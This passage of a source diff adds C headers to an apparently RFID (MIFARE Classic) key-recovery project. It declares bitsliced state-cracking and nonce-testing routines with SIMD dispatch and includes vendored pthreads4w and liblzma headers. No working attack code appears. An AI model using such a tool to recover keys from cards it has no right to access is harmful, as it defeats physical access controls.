typedef uint32_t count_bitarray_AND3_t(uint32_t*, uint32_t*, uint32_t*);
count_bitarray_AND3_t count_bitarray_AND3_dispatch;
count_bitarray_AND3_t count_bitarray_AND3_AVX512;
count_bitarray_AND3_t count_bitarray_AND3_AVX2;
count_bitarray_AND3_t count_bitarray_AND3_AVX;
count_bitarray_AND3_t count_bitarray_AND3_SSE2;
typedef uint32_t count_bitarray_AND4_t(uint32_t*, uint32_t*, uint32_t*, uint32_t*);
count_bitarray_AND4_t count_bitarray_AND4_dispatch;
count_bitarray_AND4_t count_bitarray_AND4_AVX512;
count_bitarray_AND4_t count_bitarray_AND4_AVX2;
count_bitarray_AND4_t count_bitarray_AND4_AVX;
count_bitarray_AND4_t count_bitarray_AND4_SSE2;
typedef uint64_t crack_states_bitsliced_t(uint32_t, uint8_t*, statelist_t*, uint32_t*, uint64_t*, uint32_t, uint8_t*, noncelist_t*);
crack_states_bitsliced_t crack_states_bitsliced_dispatch;
crack_states_bitsliced_t crack_states_bitsliced_AVX512;
crack_states_bitsliced_t crack_states_bitsliced_AVX2;
crack_states_bitsliced_t crack_states_bitsliced_AVX;
crack_states_bitsliced_t crack_states_bitsliced_SSE2;
typedef void bitslice_test_nonces_t(uint32_t, uint32_t*, uint8_t*);
bitslice_test_nonces_t bitslice_test_nonces_dispatch;
bitslice_test_nonces_t bitslice_test_nonces_AVX512;
bitslice_test_nonces_t bitslice_test_nonces_AVX2;
bitslice_test_nonces_t bitslice_test_nonces_AVX;
bitslice_test_nonces_t bitslice_test_nonces_SSE2;
typedef enum instr {
SIMD_NONE,
SIMD_AVX512,
SIMD_AVX2,
SIMD_AVX,
SIMD_SSE2,
} SIMDExecInstr;
extern SIMDExecInstr GetSIMDInstr(void);
#else
typedef uint32_t* malloc_bitarray_t(uint32_t);
malloc_bitarray_t malloc_bitarray_NOSIMD;
typedef void free_bitarray_t(uint32_t*);
free_bitarray_t free_bitarray_NOSIMD;
typedef void bitarray_AND_t(uint32_t[], uint32_t[]);
bitarray_AND_t bitarray_AND_NOSIMD;
typedef uint32_t count_bitarray_AND_t(uint32_t*, uint32_t*);
count_bitarray_AND_t count_bitarray_AND_NOSIMD;
typedef uint32_t count_bitarray_low20_AND_t(uint32_t*, uint32_t*);
count_bitarray_low20_AND_t count_bitarray_low20_AND_NOSIMD;
typedef void bitarray_AND4_t(uint32_t*, uint32_t*, uint32_t*, uint32_t*);
bitarray_AND4_t bitarray_AND4_NOSIMD;
typedef void bitarray_OR_t(uint32_t[], uint32_t[]);
bitarray_OR_t bitarray_OR_NOSIMD;
typedef uint32_t count_bitarray_AND2_t(uint32_t*, uint32_t*);
count_bitarray_AND2_t count_bitarray_AND2_NOSIMD;
typedef uint32_t count_bitarray_AND3_t(uint32_t*, uint32_t*, uint32_t*);
count_bitarray_AND3_t count_bitarray_AND3_NOSIMD;
typedef uint32_t count_bitarray_AND4_t(uint32_t*, uint32_t*, uint32_t*, uint32_t*);
count_bitarray_AND4_t count_bitarray_AND4_NOSIMD;
typedef uint64_t crack_states_bitsliced_t(uint32_t, uint8_t*, statelist_t*, uint32_t*, uint64_t*, uint32_t, uint8_t*, noncelist_t*);
crack_states_bitsliced_t crack_states_bitsliced_NOSIMD;
typedef void bitslice_test_nonces_t(uint32_t, uint32_t*, uint8_t*);
bitslice_test_nonces_t bitslice_test_nonces_NOSIMD;
#endif
extern uint32_t *malloc_bitarray(uint32_t x);
extern void free_bitarray(uint32_t *x);
extern void bitarray_AND(uint32_t *A, uint32_t *B);
extern uint32_t count_bitarray_AND(uint32_t *A, uint32_t *B);
extern uint32_t count_bitarray_low20_AND(uint32_t *A, uint32_t *B);
extern void bitarray_AND4(uint32_t *A, uint32_t *B, uint32_t *C, uint32_t *D);
extern void bitarray_OR(uint32_t *A, uint32_t *B);
extern uint32_t count_bitarray_AND2(uint32_t *A, uint32_t *B);
extern uint32_t count_bitarray_AND3(uint32_t *A, uint32_t *B, uint32_t *C);
extern uint32_t count_bitarray_AND4(uint32_t *A, uint32_t *B, uint32_t *C, uint32_t *D);
extern uint64_t crack_states_bitsliced(uint32_t cuid, uint8_t* best_first_bytes, statelist_t* p, uint32_t* keys_found, uint64_t* num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t* bf_test_nonces_2nd_byte, noncelist_t* nonces);
extern void bitslice_test_nonces(uint32_t nonces_to_bruteforce, uint32_t* bf_test_nonces, uint8_t* bf_test_nonce_par);

67315
src/hardnested/tables.c Normal file

File diff suppressed because it is too large Load Diff

38
src/hardnested/tables.h Normal file
View File

@ -0,0 +1,38 @@
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/*
* File: tables.h
* Author: vk496
*
* Created on 15 de noviembre de 2018, 17:42
*/
#ifndef TABLES_H
#define TABLES_H
#include <stddef.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <lzma.h>
#include "../cmdhfmfhard.h"
typedef struct bitflip_info {
uint32_t len;
uint8_t *input_buffer;
} bitflip_info;
bitflip_info get_bitflip(odd_even_t odd_num, uint16_t id);
bool decompress(lzma_stream* strm);
void lzma_init_inflate(lzma_stream *strm, uint8_t *inbuf, uint32_t inbuf_len, uint8_t *outbuf, uint32_t outbuf_len);
void lzma_init_decoder(lzma_stream *strm);
#endif /* TABLES_H */

212
src/include/_ptw32.h Normal file
View File

@ -0,0 +1,212 @@
/*
* Module: _ptw32.h
*
* Purpose:
* Pthreads4w internal macros, to be shared by other headers
* comprising the pthreads4w package.
*
* --------------------------------------------------------------------------
*
* Pthreads4w - POSIX Threads for Windows
* Copyright 1998 John E. Bossom
* Copyright 1999-2018, Pthreads4w contributors
*
* Homepage: https://sourceforge.net/projects/pthreads4w/
*
* The current list of contributors is contained
* in the file CONTRIBUTORS included with the source
* code distribution. The list can also be seen at the
* following World Wide Web location:
*
* https://sourceforge.net/p/pthreads4w/wiki/Contributors/
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* --------------------------------------------------------------------------
*/
#ifndef __PTW32_H
#define __PTW32_H
/* See the README file for an explanation of the pthreads4w
* version numbering scheme and how the DLL is named etc.
*/
#define __PTW32_VERSION_MAJOR 3
#define __PTW32_VERSION_MINOR 0
#define __PTW32_VERSION_MICRO 2
#define __PTW32_VERION_BUILD 0
#define __PTW32_VERSION 3,0,2,0
#define __PTW32_VERSION_STRING "3, 0, 2, 0\0"
#if defined(__GNUC__)
# pragma GCC system_header
# if ! defined __declspec
# error "Please upgrade your GNU compiler to one that supports __declspec."
# endif
#endif
#if defined (__cplusplus)
# define __PTW32_BEGIN_C_DECLS extern "C" {
# define __PTW32_END_C_DECLS }
#else
# define __PTW32_BEGIN_C_DECLS
# define __PTW32_END_C_DECLS
#endif
#if defined __PTW32_STATIC_LIB
# define __PTW32_DLLPORT
#elif defined __PTW32_BUILD
# define __PTW32_DLLPORT __declspec (dllexport)
#else
# define __PTW32_DLLPORT /*__declspec (dllimport)*/
#endif
#ifndef __PTW32_CDECL
/* FIXME: another internal macro; should have two initial underscores;
* Nominally, we prefer to use __cdecl calling convention for all our
* functions, but we map it through this macro alias to facilitate the
* possible choice of alternatives; for example:
*/
# ifdef _OPEN_WATCOM_SOURCE
/* The Open Watcom C/C++ compiler uses a non-standard default calling
* convention, (similar to __fastcall), which passes function arguments
* in registers, unless the __cdecl convention is explicitly specified
* in exposed function prototypes.
*
* Our preference is to specify the __cdecl convention for all calls,
* even though this could slow Watcom code down slightly. If you know
* that the Watcom compiler will be used to build both the DLL and your
* application, then you may #define _OPEN_WATCOM_SOURCE, so disabling
* the forced specification of __cdecl for all function declarations;
* remember that this must be defined consistently, for both the DLL
* build, and the application build.
*/
# define __PTW32_CDECL
# else
# define __PTW32_CDECL __cdecl
# endif
#endif
/*
* This is more or less a duplicate of what is in the autoconf config.h,
* which is only used when building the pthreads4w libraries.
*/
#if !defined (__PTW32_CONFIG_H) && !defined(__PTW32_PSEUDO_CONFIG_H_SOURCED)
# define __PTW32_PSEUDO_CONFIG_H_SOURCED
# if defined(WINCE)
# undef HAVE_CPU_AFFINITY
# define NEED_DUPLICATEHANDLE
# define NEED_CREATETHREAD
# define NEED_ERRNO
# define NEED_CALLOC
# define NEED_UNICODE_CONSTS
# define NEED_PROCESS_AFFINITY_MASK
/* This may not be needed */
# define RETAIN_WSALASTERROR
# elif defined(_MSC_VER)
# if _MSC_VER >= 1900
# define HAVE_STRUCT_TIMESPEC
# elif _MSC_VER < 1300
# define __PTW32_CONFIG_MSVC6
# elif _MSC_VER < 1400
# define __PTW32_CONFIG_MSVC7
# endif
# elif defined(_UWIN)
# define HAVE_MODE_T
# define HAVE_STRUCT_TIMESPEC
# define HAVE_SIGNAL_H
# endif
#endif
/*
* If HAVE_ERRNO_H is defined then assume that autoconf has been used
* to overwrite config.h, otherwise the original config.h is in use
* at build-time or the above block of defines is in use otherwise
* and NEED_ERRNO is either defined or not defined.
*/
#if defined(HAVE_ERRNO_H) || !defined(NEED_ERRNO)
# include <errno.h>
#else
# include "need_errno.h"
#endif
#if defined(__BORLANDC__)
# define int64_t LONGLONG
# define uint64_t ULONGLONG
#elif !defined(__MINGW32__)
typedef _int64 int64_t;
typedef unsigned _int64 uint64_t;
# if defined (__PTW32_CONFIG_MSVC6)
typedef long intptr_t;
# endif
#elif defined(HAVE_STDINT_H) && HAVE_STDINT_H == 1
# include <stdint.h>
#endif
/*
* In case ETIMEDOUT hasn't been defined above somehow.
*/
#if !defined(ETIMEDOUT)
/*
* note: ETIMEDOUT is no longer defined in winsock.h
* WSAETIMEDOUT is so use its value.
*/
# include <winsock.h>
# if defined(WSAETIMEDOUT)
# define ETIMEDOUT WSAETIMEDOUT
# else
# define ETIMEDOUT 10060 /* This is the value of WSAETIMEDOUT in winsock.h. */
# endif
#endif
/*
* Several systems may not define some error numbers;
* defining those which are likely to be missing here will let
* us complete the library builds.
*/
#if !defined(ENOTSUP)
# define ENOTSUP 48 /* This is the value in Solaris. */
#endif
#if !defined(ENOSYS)
# define ENOSYS 140 /* Semi-arbitrary value */
#endif
#if !defined(EDEADLK)
# if defined(EDEADLOCK)
# define EDEADLK EDEADLOCK
# else
# define EDEADLK 36 /* This is the value in MSVC. */
# endif
#endif
/* POSIX 2008 - related to robust mutexes */
#if __PTW32_VERSION_MAJOR > 2
# if !defined(EOWNERDEAD)
# define EOWNERDEAD 1000
# endif
# if !defined(ENOTRECOVERABLE)
# define ENOTRECOVERABLE 1001
# endif
#else
# if !defined(EOWNERDEAD)
# define EOWNERDEAD 42
# endif
# if !defined(ENOTRECOVERABLE)
# define ENOTRECOVERABLE 43
# endif
#endif
#endif /* !__PTW32_H */

1186
src/include/dirent.h Normal file

File diff suppressed because it is too large Load Diff

19
src/include/err.h Normal file
View File

@ -0,0 +1,19 @@
#ifndef _ERR_H_
#define _ERR_H_
#include <stdlib.h>
#define warnx(...) do { \
fprintf (stderr, __VA_ARGS__); \
fprintf (stderr, "\n"); \
} while (0)
#define errx(code, ...) do { \
fprintf (stderr, __VA_ARGS__); \
fprintf (stderr, "\n"); \
exit (code); \
} while (0)
#define err errx
#endif /* !_ERR_H_ */

326
src/include/lzma.h Normal file
View File

@ -0,0 +1,326 @@
/**
* \file api/lzma.h
* \brief The public API of liblzma data compression library
*
* liblzma is a public domain general-purpose data compression library with
* a zlib-like API. The native file format is .xz, but also the old .lzma
* format and raw (no headers) streams are supported. Multiple compression
* algorithms (filters) are supported. Currently LZMA2 is the primary filter.
*
* liblzma is part of XZ Utils <http://tukaani.org/xz/>. XZ Utils includes
* a gzip-like command line tool named xz and some other tools. XZ Utils
* is developed and maintained by Lasse Collin.
*
* Major parts of liblzma are based on Igor Pavlov's public domain LZMA SDK
* <http://7-zip.org/sdk.html>.
*
* The SHA-256 implementation is based on the public domain code found from
* 7-Zip <http://7-zip.org/>, which has a modified version of the public
* domain SHA-256 code found from Crypto++ <http://www.cryptopp.com/>.
* The SHA-256 code in Crypto++ was written by Kevin Springle and Wei Dai.
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*/
#ifndef LZMA_H
#define LZMA_H
/*****************************
* Required standard headers *
*****************************/
/*
* liblzma API headers need some standard types and macros. To allow
* including lzma.h without requiring the application to include other
* headers first, lzma.h includes the required standard headers unless
* they already seem to be included already or if LZMA_MANUAL_HEADERS
* has been defined.
*
* Here's what types and macros are needed and from which headers:
* - stddef.h: size_t, NULL
* - stdint.h: uint8_t, uint32_t, uint64_t, UINT32_C(n), uint64_C(n),
* UINT32_MAX, UINT64_MAX
*
* However, inttypes.h is a little more portable than stdint.h, although
* inttypes.h declares some unneeded things compared to plain stdint.h.
*
* The hacks below aren't perfect, specifically they assume that inttypes.h
* exists and that it typedefs at least uint8_t, uint32_t, and uint64_t,
* and that, in case of incomplete inttypes.h, unsigned int is 32-bit.
* If the application already takes care of setting up all the types and
* macros properly (for example by using gnulib's stdint.h or inttypes.h),
* we try to detect that the macros are already defined and don't include
* inttypes.h here again. However, you may define LZMA_MANUAL_HEADERS to
* force this file to never include any system headers.
*
* Some could argue that liblzma API should provide all the required types,
* for example lzma_uint64, LZMA_UINT64_C(n), and LZMA_UINT64_MAX. This was
* seen as an unnecessary mess, since most systems already provide all the
* necessary types and macros in the standard headers.
*
* Note that liblzma API still has lzma_bool, because using stdbool.h would
* break C89 and C++ programs on many systems. sizeof(bool) in C99 isn't
* necessarily the same as sizeof(bool) in C++.
*/
#ifndef LZMA_MANUAL_HEADERS
/*
* I suppose this works portably also in C++. Note that in C++,
* we need to get size_t into the global namespace.
*/
# include <stddef.h>
/*
* Skip inttypes.h if we already have all the required macros. If we
* have the macros, we assume that we have the matching typedefs too.
*/
# if !defined(UINT32_C) || !defined(UINT64_C) \
|| !defined(UINT32_MAX) || !defined(UINT64_MAX)
/*
* MSVC versions older than 2013 have no C99 support, and
* thus they cannot be used to compile liblzma. Using an
* existing liblzma.dll with old MSVC can work though(*),
* but we need to define the required standard integer
* types here in a MSVC-specific way.
*
* (*) If you do this, the existing liblzma.dll probably uses
* a different runtime library than your MSVC-built
* application. Mixing runtimes is generally bad, but
* in this case it should work as long as you avoid
* the few rarely-needed liblzma functions that allocate
* memory and expect the caller to free it using free().
*/
# if defined(_WIN32) && defined(_MSC_VER) && _MSC_VER < 1800
typedef unsigned __int8 uint8_t;
typedef unsigned __int32 uint32_t;
typedef unsigned __int64 uint64_t;
# else
/* Use the standard inttypes.h. */
# ifdef __cplusplus
/*
* C99 sections 7.18.2 and 7.18.4 specify
* that C++ implementations define the limit
* and constant macros only if specifically
* requested. Note that if you want the
* format macros (PRIu64 etc.) too, you need
* to define __STDC_FORMAT_MACROS before
* including lzma.h, since re-including
* inttypes.h with __STDC_FORMAT_MACROS
* defined doesn't necessarily work.
*/
# ifndef __STDC_LIMIT_MACROS
# define __STDC_LIMIT_MACROS 1
# endif
# ifndef __STDC_CONSTANT_MACROS
# define __STDC_CONSTANT_MACROS 1
# endif
# endif
# include <inttypes.h>
# endif
/*
* Some old systems have only the typedefs in inttypes.h, and
* lack all the macros. For those systems, we need a few more
* hacks. We assume that unsigned int is 32-bit and unsigned
* long is either 32-bit or 64-bit. If these hacks aren't
* enough, the application has to setup the types manually
* before including lzma.h.
*/
# ifndef UINT32_C
# if defined(_WIN32) && defined(_MSC_VER)
# define UINT32_C(n) n ## UI32
# else
# define UINT32_C(n) n ## U
# endif
# endif
# ifndef UINT64_C
# if defined(_WIN32) && defined(_MSC_VER)
# define UINT64_C(n) n ## UI64
# else
/* Get ULONG_MAX. */
# include <limits.h>
# if ULONG_MAX == 4294967295UL
# define UINT64_C(n) n ## ULL
# else
# define UINT64_C(n) n ## UL
# endif
# endif
# endif
# ifndef UINT32_MAX
# define UINT32_MAX (UINT32_C(4294967295))
# endif
# ifndef UINT64_MAX
# define UINT64_MAX (UINT64_C(18446744073709551615))
# endif
# endif
#endif /* ifdef LZMA_MANUAL_HEADERS */
/******************
* LZMA_API macro *
******************/
/*
* Some systems require that the functions and function pointers are
* declared specially in the headers. LZMA_API_IMPORT is for importing
* symbols and LZMA_API_CALL is to specify the calling convention.
*
* By default it is assumed that the application will link dynamically
* against liblzma. #define LZMA_API_STATIC in your application if you
* want to link against static liblzma. If you don't care about portability
* to operating systems like Windows, or at least don't care about linking
* against static liblzma on them, don't worry about LZMA_API_STATIC. That
* is, most developers will never need to use LZMA_API_STATIC.
*
* The GCC variants are a special case on Windows (Cygwin and MinGW).
* We rely on GCC doing the right thing with its auto-import feature,
* and thus don't use __declspec(dllimport). This way developers don't
* need to worry about LZMA_API_STATIC. Also the calling convention is
* omitted on Cygwin but not on MinGW.
*/
#ifndef LZMA_API_IMPORT
# if !defined(LZMA_API_STATIC) && defined(_WIN32) && !defined(__GNUC__)
# define LZMA_API_IMPORT __declspec(dllimport)
# else
# define LZMA_API_IMPORT
# endif
#endif
#ifndef LZMA_API_CALL
# if defined(_WIN32) && !defined(__CYGWIN__)
# define LZMA_API_CALL __cdecl
# else
# define LZMA_API_CALL
# endif
#endif
#ifndef LZMA_API
# define LZMA_API(type) LZMA_API_IMPORT type LZMA_API_CALL
#endif
/***********
* nothrow *
***********/
/*
* None of the functions in liblzma may throw an exception. Even
* the functions that use callback functions won't throw exceptions,
* because liblzma would break if a callback function threw an exception.
*/
#ifndef lzma_nothrow
# if defined(__cplusplus)
# if __cplusplus >= 201103L
# define lzma_nothrow noexcept
# else
# define lzma_nothrow throw()
# endif
# elif defined(__GNUC__) && (__GNUC__ > 3 \
|| (__GNUC__ == 3 && __GNUC_MINOR__ >= 3))
# define lzma_nothrow __attribute__((__nothrow__))
# else
# define lzma_nothrow
# endif
#endif
/********************
* GNU C extensions *
********************/
/*
* GNU C extensions are used conditionally in the public API. It doesn't
* break anything if these are sometimes enabled and sometimes not, only
* affects warnings and optimizations.
*/
#if defined(__GNUC__) && __GNUC__ >= 3
# ifndef lzma_attribute
# define lzma_attribute(attr) __attribute__(attr)
# endif
/* warn_unused_result was added in GCC 3.4. */
# ifndef lzma_attr_warn_unused_result
# if __GNUC__ == 3 && __GNUC_MINOR__ < 4
# define lzma_attr_warn_unused_result
# endif
# endif
#else
# ifndef lzma_attribute
# define lzma_attribute(attr)
# endif
#endif
#ifndef lzma_attr_pure
# define lzma_attr_pure lzma_attribute((__pure__))
#endif
#ifndef lzma_attr_const
# define lzma_attr_const lzma_attribute((__const__))
#endif
#ifndef lzma_attr_warn_unused_result
# define lzma_attr_warn_unused_result \
lzma_attribute((__warn_unused_result__))
#endif
/**************
* Subheaders *
**************/
#ifdef __cplusplus
extern "C" {
#endif
/*
* Subheaders check that this is defined. It is to prevent including
* them directly from applications.
*/
#define LZMA_H_INTERNAL 1
/* Basic features */
#include "lzma/version.h"
#include "lzma/base.h"
#include "lzma/vli.h"
#include "lzma/check.h"
/* Filters */
#include "lzma/filter.h"
#include "lzma/bcj.h"
#include "lzma/delta.h"
#include "lzma/lzma12.h"
/* Container formats */
#include "lzma/container.h"
/* Advanced features */
#include "lzma/stream_flags.h"
#include "lzma/block.h"
#include "lzma/index.h"
#include "lzma/index_hash.h"
/* Hardware information */
#include "lzma/hardware.h"
/*
* All subheaders included. Undefine LZMA_H_INTERNAL to prevent applications
* re-including the subheaders.
*/
#undef LZMA_H_INTERNAL
#ifdef __cplusplus
}
#endif
#endif /* ifndef LZMA_H */

659
src/include/lzma/base.h Normal file
View File

@ -0,0 +1,659 @@
/**
* \file lzma/base.h
* \brief Data types and functions used in many places in liblzma API
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/**
* \brief Boolean
*
* This is here because C89 doesn't have stdbool.h. To set a value for
* variables having type lzma_bool, you can use
* - C99's `true' and `false' from stdbool.h;
* - C++'s internal `true' and `false'; or
* - integers one (true) and zero (false).
*/
typedef unsigned char lzma_bool;
/**
* \brief Type of reserved enumeration variable in structures
*
* To avoid breaking library ABI when new features are added, several
* structures contain extra variables that may be used in future. Since
* sizeof(enum) can be different than sizeof(int), and sizeof(enum) may
* even vary depending on the range of enumeration constants, we specify
* a separate type to be used for reserved enumeration variables. All
* enumeration constants in liblzma API will be non-negative and less
* than 128, which should guarantee that the ABI won't break even when
* new constants are added to existing enumerations.
*/
typedef enum {
LZMA_RESERVED_ENUM = 0
} lzma_reserved_enum;
/**
* \brief Return values used by several functions in liblzma
*
* Check the descriptions of specific functions to find out which return
* values they can return. With some functions the return values may have
* more specific meanings than described here; those differences are
* described per-function basis.
*/
typedef enum {
LZMA_OK = 0,
/**<
* \brief Operation completed successfully
*/
LZMA_STREAM_END = 1,
/**<
* \brief End of stream was reached
*
* In encoder, LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, or
* LZMA_FINISH was finished. In decoder, this indicates
* that all the data was successfully decoded.
*
* In all cases, when LZMA_STREAM_END is returned, the last
* output bytes should be picked from strm->next_out.
*/
LZMA_NO_CHECK = 2,
/**<
* \brief Input stream has no integrity check
*
* This return value can be returned only if the
* LZMA_TELL_NO_CHECK flag was used when initializing
* the decoder. LZMA_NO_CHECK is just a warning, and
* the decoding can be continued normally.
*
* It is possible to call lzma_get_check() immediately after
* lzma_code has returned LZMA_NO_CHECK. The result will
* naturally be LZMA_CHECK_NONE, but the possibility to call
* lzma_get_check() may be convenient in some applications.
*/
LZMA_UNSUPPORTED_CHECK = 3,
/**<
* \brief Cannot calculate the integrity check
*
* The usage of this return value is different in encoders
* and decoders.
*
* Encoders can return this value only from the initialization
* function. If initialization fails with this value, the
* encoding cannot be done, because there's no way to produce
* output with the correct integrity check.
*
* Decoders can return this value only from lzma_code() and
* only if the LZMA_TELL_UNSUPPORTED_CHECK flag was used when
* initializing the decoder. The decoding can still be
* continued normally even if the check type is unsupported,
* but naturally the check will not be validated, and possible
* errors may go undetected.
*
* With decoder, it is possible to call lzma_get_check()
* immediately after lzma_code() has returned
* LZMA_UNSUPPORTED_CHECK. This way it is possible to find
* out what the unsupported Check ID was.
*/
LZMA_GET_CHECK = 4,
/**<
* \brief Integrity check type is now available
*
* This value can be returned only by the lzma_code() function
* and only if the decoder was initialized with the
* LZMA_TELL_ANY_CHECK flag. LZMA_GET_CHECK tells the
* application that it may now call lzma_get_check() to find
* out the Check ID. This can be used, for example, to
* implement a decoder that accepts only files that have
* strong enough integrity check.
*/
LZMA_MEM_ERROR = 5,
/**<
* \brief Cannot allocate memory
*
* Memory allocation failed, or the size of the allocation
* would be greater than SIZE_MAX.
*
* Due to internal implementation reasons, the coding cannot
* be continued even if more memory were made available after
* LZMA_MEM_ERROR.
*/
LZMA_MEMLIMIT_ERROR = 6,
/**
* \brief Memory usage limit was reached
*
* Decoder would need more memory than allowed by the
* specified memory usage limit. To continue decoding,
* the memory usage limit has to be increased with
* lzma_memlimit_set().
*/
LZMA_FORMAT_ERROR = 7,
/**<
* \brief File format not recognized
*
* The decoder did not recognize the input as supported file
* format. This error can occur, for example, when trying to
* decode .lzma format file with lzma_stream_decoder,
* because lzma_stream_decoder accepts only the .xz format.
*/
LZMA_OPTIONS_ERROR = 8,
/**<
* \brief Invalid or unsupported options
*
* Invalid or unsupported options, for example
* - unsupported filter(s) or filter options; or
* - reserved bits set in headers (decoder only).
*
* Rebuilding liblzma with more features enabled, or
* upgrading to a newer version of liblzma may help.
*/
LZMA_DATA_ERROR = 9,
/**<
* \brief Data is corrupt
*
* The usage of this return value is different in encoders
* and decoders. In both encoder and decoder, the coding
* cannot continue after this error.
*
* Encoders return this if size limits of the target file
* format would be exceeded. These limits are huge, thus
* getting this error from an encoder is mostly theoretical.
* For example, the maximum compressed and uncompressed
* size of a .xz Stream is roughly 8 EiB (2^63 bytes).
*
* Decoders return this error if the input data is corrupt.
* This can mean, for example, invalid CRC32 in headers
* or invalid check of uncompressed data.
*/
LZMA_BUF_ERROR = 10,
/**<
* \brief No progress is possible
*
* This error code is returned when the coder cannot consume
* any new input and produce any new output. The most common
* reason for this error is that the input stream being
* decoded is truncated or corrupt.
*
* This error is not fatal. Coding can be continued normally
* by providing more input and/or more output space, if
* possible.
*
* Typically the first call to lzma_code() that can do no
* progress returns LZMA_OK instead of LZMA_BUF_ERROR. Only
* the second consecutive call doing no progress will return
* LZMA_BUF_ERROR. This is intentional.
*
* With zlib, Z_BUF_ERROR may be returned even if the
* application is doing nothing wrong, so apps will need
* to handle Z_BUF_ERROR specially. The above hack
* guarantees that liblzma never returns LZMA_BUF_ERROR
* to properly written applications unless the input file
* is truncated or corrupt. This should simplify the
* applications a little.
*/
LZMA_PROG_ERROR = 11,
/**<
* \brief Programming error
*
* This indicates that the arguments given to the function are
* invalid or the internal state of the decoder is corrupt.
* - Function arguments are invalid or the structures
* pointed by the argument pointers are invalid
* e.g. if strm->next_out has been set to NULL and
* strm->avail_out > 0 when calling lzma_code().
* - lzma_* functions have been called in wrong order
* e.g. lzma_code() was called right after lzma_end().
* - If errors occur randomly, the reason might be flaky
* hardware.
*
* If you think that your code is correct, this error code
* can be a sign of a bug in liblzma. See the documentation
* how to report bugs.
*/
} lzma_ret;
/**
* \brief The `action' argument for lzma_code()
*
* After the first use of LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, LZMA_FULL_BARRIER,
* or LZMA_FINISH, the same `action' must is used until lzma_code() returns
* LZMA_STREAM_END. Also, the amount of input (that is, strm->avail_in) must
* not be modified by the application until lzma_code() returns
* LZMA_STREAM_END. Changing the `action' or modifying the amount of input
* will make lzma_code() return LZMA_PROG_ERROR.
*/
typedef enum {
LZMA_RUN = 0,
/**<
* \brief Continue coding
*
* Encoder: Encode as much input as possible. Some internal
* buffering will probably be done (depends on the filter
* chain in use), which causes latency: the input used won't
* usually be decodeable from the output of the same
* lzma_code() call.
*
* Decoder: Decode as much input as possible and produce as
* much output as possible.
*/
LZMA_SYNC_FLUSH = 1,
/**<
* \brief Make all the input available at output
*
* Normally the encoder introduces some latency.
* LZMA_SYNC_FLUSH forces all the buffered data to be
* available at output without resetting the internal
* state of the encoder. This way it is possible to use
* compressed stream for example for communication over
* network.
*
* Only some filters support LZMA_SYNC_FLUSH. Trying to use
* LZMA_SYNC_FLUSH with filters that don't support it will
* make lzma_code() return LZMA_OPTIONS_ERROR. For example,
* LZMA1 doesn't support LZMA_SYNC_FLUSH but LZMA2 does.
*
* Using LZMA_SYNC_FLUSH very often can dramatically reduce
* the compression ratio. With some filters (for example,
* LZMA2), fine-tuning the compression options may help
* mitigate this problem significantly (for example,
* match finder with LZMA2).
*
* Decoders don't support LZMA_SYNC_FLUSH.
*/
LZMA_FULL_FLUSH = 2,
/**<
* \brief Finish encoding of the current Block
*
* All the input data going to the current Block must have
* been given to the encoder (the last bytes can still be
* pending in *next_in). Call lzma_code() with LZMA_FULL_FLUSH
* until it returns LZMA_STREAM_END. Then continue normally
* with LZMA_RUN or finish the Stream with LZMA_FINISH.
*
* This action is currently supported only by Stream encoder
* and easy encoder (which uses Stream encoder). If there is
* no unfinished Block, no empty Block is created.
*/
LZMA_FULL_BARRIER = 4,
/**<
* \brief Finish encoding of the current Block
*
* This is like LZMA_FULL_FLUSH except that this doesn't
* necessarily wait until all the input has been made
* available via the output buffer. That is, lzma_code()
* might return LZMA_STREAM_END as soon as all the input
* has been consumed (avail_in == 0).
*
* LZMA_FULL_BARRIER is useful with a threaded encoder if
* one wants to split the .xz Stream into Blocks at specific
* offsets but doesn't care if the output isn't flushed
* immediately. Using LZMA_FULL_BARRIER allows keeping
* the threads busy while LZMA_FULL_FLUSH would make
* lzma_code() wait until all the threads have finished
* until more data could be passed to the encoder.
*
* With a lzma_stream initialized with the single-threaded
* lzma_stream_encoder() or lzma_easy_encoder(),
* LZMA_FULL_BARRIER is an alias for LZMA_FULL_FLUSH.
*/
LZMA_FINISH = 3
/**<
* \brief Finish the coding operation
*
* All the input data must have been given to the encoder
* (the last bytes can still be pending in next_in).
* Call lzma_code() with LZMA_FINISH until it returns
* LZMA_STREAM_END. Once LZMA_FINISH has been used,
* the amount of input must no longer be changed by
* the application.
*
* When decoding, using LZMA_FINISH is optional unless the
* LZMA_CONCATENATED flag was used when the decoder was
* initialized. When LZMA_CONCATENATED was not used, the only
* effect of LZMA_FINISH is that the amount of input must not
* be changed just like in the encoder.
*/
} lzma_action;
/**
* \brief Custom functions for memory handling
*
* A pointer to lzma_allocator may be passed via lzma_stream structure
* to liblzma, and some advanced functions take a pointer to lzma_allocator
* as a separate function argument. The library will use the functions
* specified in lzma_allocator for memory handling instead of the default
* malloc() and free(). C++ users should note that the custom memory
* handling functions must not throw exceptions.
*
* Single-threaded mode only: liblzma doesn't make an internal copy of
* lzma_allocator. Thus, it is OK to change these function pointers in
* the middle of the coding process, but obviously it must be done
* carefully to make sure that the replacement `free' can deallocate
* memory allocated by the earlier `alloc' function(s).
*
* Multithreaded mode: liblzma might internally store pointers to the
* lzma_allocator given via the lzma_stream structure. The application
* must not change the allocator pointer in lzma_stream or the contents
* of the pointed lzma_allocator structure until lzma_end() has been used
* to free the memory associated with that lzma_stream. The allocation
* functions might be called simultaneously from multiple threads, and
* thus they must be thread safe.
*/
typedef struct {
/**
* \brief Pointer to a custom memory allocation function
*
* If you don't want a custom allocator, but still want
